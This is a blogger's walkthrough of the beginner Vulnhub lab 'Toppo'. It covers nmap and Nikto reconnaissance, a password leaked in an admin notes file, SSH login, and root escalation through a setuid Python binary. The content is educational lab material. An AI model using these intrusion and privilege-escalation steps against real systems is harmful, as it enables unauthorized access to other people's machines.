Toppo is the second machine I decided to play with from Vulnhub. The level advertised is beginner and the machine really is meant for newcomers. For a beginner like me it took about 30 minutes to own this, so if you are looking for some challenges, go somewhere else. It is a boo2root machine, so no flags to collect, just root to get.
The network setup looked like this:
kali 192.168.1.200
Toppo 192.168.1.251
Now, the first thing, was a nmap scan.
root@kali:~# nmap -sV -sS 192.168.1.251
Starting Nmap 7.70 ( "https://nmap.org" ) at 2018-11-29 21:42 EET
Nmap scan report for Toppo.home (192.168.1.251)
Host is up (0.000061s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 02:D4:EF:1D:F1:9B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I saw that the machine had SSH port exposed and port 80, so I checked the website running and I also run a Nikto scan.
root@kali:~# nikto -h 192.168.1.251
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.251
+ Target Hostname: 192.168.1.251
+ Target Port: 80
+ Start Time: 2018-11-29 21:43:37 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1925 0x563f5cf714e80
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2018-11-29 21:43:50 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The website was a clean showcase site, no obvious fields and such, but clearly the /admin directory reported by Nikto got my attention.
I checked it out and found
curl "http://192.168.1.251/admin/notes.txt"
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
It is a password for something, I assumed for SSH. I tried bruteforcing SSH with common users, but then I just read the password more carefully. “ted”. I try
root@kali:~# ssh ted@192.168.1.251
Boom. I am in.
Now I start the usual enumeration stuff (following the golden https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/).
While looking around I found:
ted@Toppo:/var/www/html$ find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/bin/ssh-agent
/usr/bin/mlocate
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
ted@Toppo:/var/www/html$ ls -l /usr/bin/python2.7
-rwsrwxrwx 1 root root 3889608 Aug 13 2016 /usr/bin/python2.7
Python with SETUID bit set? I would say this is trivial, since it’s owned by root.
ted@Toppo:/var/www/html$ /usr/bin/python2.7
Python 2.7.9 (default, Aug 13 2016, 16:41:35)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")
root
Basically at this point whatever I run through python will run as root. I can probably spawn a full root shell, but it is not necessary for this.
>>> os.system("ls -l /root")
total 4
-rw-r--r-- 1 root root 397 Apr 15 2018 flag.txt
0
>>> os.system("cat /root/flag.txt")
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|
Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
Lessons learned
- Look closer at the hints you have before bruteforcing.
- Enumerate SETUID and SETGID early for beginner machines since this is a usual privilege escalation path.
For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.